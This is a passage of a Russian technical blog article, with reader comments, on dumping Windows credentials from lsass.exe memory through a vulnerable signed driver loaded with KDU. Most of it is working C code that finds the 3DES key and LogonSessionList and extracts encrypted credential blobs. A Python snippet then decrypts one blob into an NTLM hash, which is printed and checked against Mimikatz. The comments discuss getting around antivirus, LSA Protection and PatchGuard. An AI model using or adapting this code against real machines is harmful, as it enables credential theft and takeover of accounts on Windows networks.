	h3DesKey_tmp = dumpUsermode(hDevice, EPROCESS_lssas, DES_pointer, sizeof(KIWI_BCRYPT_HANDLE_KEY), EPROCESS_GetProcess);
	memcpy(&h3DesKey, h3DesKey_tmp, sizeof(KIWI_BCRYPT_HANDLE_KEY));
	free(h3DesKey_tmp);

	LPSTR h3DesKey_key_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
	h3DesKey_key_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)h3DesKey.key, sizeof(KIWI_BCRYPT_KEY81), EPROCESS_GetProcess);
	memcpy(&extracted3DesKey, h3DesKey_key_tmp, sizeof(KIWI_BCRYPT_KEY81));
	free(h3DesKey_key_tmp);
	DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret);
	memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
	printf("\t\t[/!\\] 3DES Key: ");
	for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
		printf("%02x", DES_key[i]);
	}
	printf(" [/!\\]\n");
	free(DES_key);
	printf("\t\t================================================\n");

	needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE));
	memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE));
	offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE));

	memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4);
	printf("[*] LogonSessionList Relative Offset: 0x%08llx\n", LogonSessionList_offset);

	LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset;
	printf("[*] LogonSessionList: 0x%08llx\n", LogonSessionList);

	printf("\t\t===================[LogonSessionList]===================");
	while (currentElem != LogonSessionList) {
		if (currentElem == 0) {
			currentElem = LogonSessionList;
		}
		memcpy(&currentElem, lsasrv + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset, 8);
		printf("Element at: 0x%08llx\n", currentElem);
		LPSTR currentElem_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
		currentElem_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem, sizeof(currentElem), EPROCESS_GetProcess);
		memcpy(&currentElem, currentElem_tmp, sizeof(currentElem_tmp));
		free(currentElem_tmp);
		USHORT length = 0;
		LPWSTR username = NULL;
		ULONGLONG username_pointer = 0;

		LPSTR length_tmp = (LPSTR)malloc(sizeof(length));
		length_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x90, sizeof(length), EPROCESS_GetProcess);
		memcpy(&length, length_tmp, sizeof(length_tmp));
		free(length_tmp);

		username = (LPWSTR)malloc(length + 2);
		memset(username, 0, length + 2);

		LPSTR username_pointer_tmp = (LPSTR)malloc(sizeof(username_pointer));
		username_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x98, sizeof(username_pointer), EPROCESS_GetProcess);
		memcpy(&username_pointer, username_pointer_tmp, sizeof(username_pointer_tmp));
		free(username_pointer_tmp);

		LPSTR username_tmp = (LPSTR)malloc(sizeof(username));
		username_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)username_pointer, sizeof(username), EPROCESS_GetProcess);
		memcpy(username, username_tmp, sizeof(username_tmp));
		free(username_tmp);
		wprintf(L"\n[+] Username: %s \n", username);
		free(username);
	
		
		ULONGLONG credentials_pointer = 0;
		LPSTR credentials_pointer_tmp = (LPSTR)malloc(sizeof(credentials_pointer));
		credentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x108, sizeof(credentials_pointer), EPROCESS_GetProcess);
		memcpy(&credentials_pointer, credentials_pointer_tmp, sizeof(credentials_pointer_tmp));
		free(credentials_pointer_tmp);

		if (credentials_pointer == 0) {
			printf("[+] Cryptoblob: (empty)\n");
			continue;
		}
		printf("[*] Credentials Pointer: 0x%08llx\n", credentials_pointer);		
		
		ULONGLONG primaryCredentials_pointer = 0;
		LPSTR primaryCredentials_pointer_tmp = (LPSTR)malloc(sizeof(primaryCredentials_pointer));
		primaryCredentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)credentials_pointer + 0x10, sizeof(primaryCredentials_pointer), EPROCESS_GetProcess);
		memcpy(&primaryCredentials_pointer, primaryCredentials_pointer_tmp, sizeof(primaryCredentials_pointer_tmp));
		free(primaryCredentials_pointer_tmp);
		printf("[*] Primary credentials Pointer: 0x%08llx\n", primaryCredentials_pointer);

		USHORT cryptoblob_size = 0;
		LPSTR cryptoblob_size_tmp = (LPSTR)malloc(sizeof(cryptoblob_size));
		cryptoblob_size_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x18, sizeof(cryptoblob_size), EPROCESS_GetProcess);
		memcpy(&cryptoblob_size, cryptoblob_size_tmp, sizeof(cryptoblob_size_tmp));
		free(cryptoblob_size_tmp);
		if (cryptoblob_size % 8 != 0) {
			printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)\n");
			continue;
		}
		printf("[*] Cryptoblob size: 0x%x\n", cryptoblob_size);

		ULONGLONG cryptoblob_pointer = 0;
		LPSTR cryptoblob_pointer_tmp = (LPSTR)malloc(sizeof(cryptoblob_pointer));
		cryptoblob_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x20, sizeof(cryptoblob_pointer), EPROCESS_GetProcess);
		memcpy(&cryptoblob_pointer, cryptoblob_pointer_tmp, sizeof(cryptoblob_pointer_tmp));
		free(cryptoblob_pointer_tmp);
		printf("Cryptoblob pointer: 0x%08llx\n", cryptoblob_pointer);

		unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size);
		LPSTR cryptoblob_tmp = (LPSTR)malloc(cryptoblob_size);
		cryptoblob_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)cryptoblob_pointer, cryptoblob_size, EPROCESS_GetProcess);
		memcpy(cryptoblob, cryptoblob_tmp, cryptoblob_size);
		
		printf("[+] Cryptoblob:\n");
		for (int i = 0; i < cryptoblob_size; i++) {
			printf("%02x", cryptoblob[i]);
		}
		printf("\n");
		free(cryptoblob_tmp);
		break;
	}
	
	printf("\t\t================================================\n");
	free(needle_buffer);
	free(lsasrv);
}

Результат:

И расшифрую полученный результат с помощью python:

from pyDes import *
k = triple_des("221f62e7c7d8e10d612095a6ab610bc2436644180f7274b2".decode("hex"), CBC, "\x00\x00\x00\x00\x00\x00\x00\x00")
print k.decrypt("946854293e1be6cd0502e252a2c427e6065d458c4b2bfe3b5c4b79d700308ab52a5fe373e00d60dfc3627d776f0ebc31f82a5f02b276551eee697ee485626c8858bfdefd67854ff63029ae418855502be06c4c70072772e26b89d7d971ca17b2a5c360130e954f1606b5088297e7dd7b570988b2fb1cf79ce7fd7cd3647392bb165858c81f44f1099664436aa19ed429657fb57f5da7b169d3df91b85ccf8b32e600e0f80debcbc4fc9f355e8f60881f419895bf1589cdb7e9ed44ddc27fcd8e03c815974b405d13f4de760c00d7f159503c75de9ba39d34752bcdc30d72413e9b6e944201c1b84d7b43a1f09821924aab0114a33ca7b0aa59692f67acfe2d1ea7489bda821c921465b5969220e027d51a726486be01d76220f7b870fb3f7c6dd004dc573b2b3f40c80ae7c59461e50f1b08fe42cead0ca77dae19099c9cfa933bff932a3767098084476e4340cd1e99cd65d593c6c1653458b3d3c99078c543a30749d4cffec77c9c350c10be7963112708112b1a9adc729bf92ab8068d740796393d562595a00a9e31975952139df37c9dce429f3eeeeb29d8533bad0eb17832e42407f5b59c65".decode("hex"))[74:90].encode("hex")

NTLM hash: c377ba8a4dd52401bc404dbe49771bbc

Последним шагом будет получить с помощью Mimikatz NTLM hash и сверить его с найденным мной NTLM hash’ом, чтобы удостоверится в правильной работе разработанного приложения (shor.exe).

Найденный мной NTLM hash совпадает с NTLM hash’ом программы Mimikatz.

Вывод.

Подводя итоги, хочу сказать, что это был весьма интересный опыт, благодаря которому я познакомился с проектом KDU, позволяющему загружать не подписанные драйвера. Узнал, как хранится NTLM hash в памяти lsass.exe и как хранится виртуальная память в user-mode.

С исходниками разработанного приложения можно ознакомится на github.

Комментарии (17)


  1. indium_antimonide
    07.02.2022 16:21
    +5

    Чтобы загрузить уязвимый драйвер, нужны права администратора. Но если у нас есть права администратора, то мы можем получить доступ к памяти lsass.exe через OpenProcess и ReadProcessMemory


    1. sh0r Автор
      07.02.2022 16:47
      +2

      Вы сможете сделать дамп процесса lsass, если будут права администратора и в системе не будет установлено средств защиты.


      1. slonopotamus
        08.02.2022 09:07
        +1

        Если у нас есть права администратора, мы просто берём и выключаем/удаляем средства защиты.


        1. qw1
          08.02.2022 09:41

          Это слишком заметно.


        1. sh0r Автор
          08.02.2022 10:04
          +1

          У Вас с правами адина возникнут трудности с выключением/удалением средств защиты.(Microsoft Defender в расчет не беру)


          1. qw1
            08.02.2022 11:36
            +2

            Стандартный Uninstall не поможет?


            1. sh0r Автор
              08.02.2022 13:09

              Достаточно часто нужно вводить капчу при использовании стандартных Uninstall. Следовательно нужно иметь графическую оболочку(например RDP). Если она у Вас будет и будут права администратора ,то Вы сможете удалить стандартными Uninstall.


              1. qw1
                08.02.2022 15:05
                +2

                Для enterprise-инструментов стандартом является установка/удаление msi-пакетами. Если какой-то антивир это не умеет, он будет очень плохо вписываться в современное управление доменом.


                1. sh0r Автор
                  08.02.2022 15:10

                  Не пробовал удалять с помощью msi пакетов.


    1. czz
      08.02.2022 22:36
      +1

      В системах с Secure Boot часто используется LSA Protection (https://itm4n.github.io/lsass-runasppl/), который не дает доступ к памяти lsass даже с правами админа. После включения эта опция сохраняется в NVRAM.
      Чтобы ее отключить, нужен физический доступ к машине, так как отключение нужно подтвердить до загрузки ОС в EFI-приложении (https://www.microsoft.com/en-us/download/details.aspx?id=40897).
      Такая защита обходится только через драйвер.


  1. mk2
    07.02.2022 19:26

    В процессе разработки антивирус не триггерился? Или его отключили?


    1. qw1
      07.02.2022 21:20
      +2

      Стриггерит, только если дырявый драйвер у него добавлен в базу вредоносов. А так, с точки зрения системы ничего не происходит — никаких странных API не вызывается, только IOCTL стороннего драйвера, про который AV ничего сказать не может.


  1. 15432
    08.02.2022 10:22
    +1

    По идее KDU может и не понадобиться, похожий функционал из коробки есть в подписанном гигабайтовском GIO.sys. Ковырял их тут


    1. sh0r Автор
      08.02.2022 10:34
      +1

      KDU сам не нужен, у него в проекте есть некоторое количество драйверов, один из которых я извлек.


  1. flamencist
    09.02.2022 11:58

    Patch guard возбудится на запись в ядро системы. Как это обходится?


    1. qw1
      09.02.2022 18:06

      Код на уровне ядра может что угодно патчить, в том числе подправить сам PatchGuard, чтобы он ничего не увидел. К тому же, PatchGuard контролирует несколько определённых мест, типа входов в системные ф-ции и обработчики прерываний, а если где-то глубоко в середине запатчить системные ф-ции, он за этим не уследит.

      github.com/everdox/InfinityHook


  1. realscorp
    09.02.2022 13:43

    Credential Guard как-то обходится?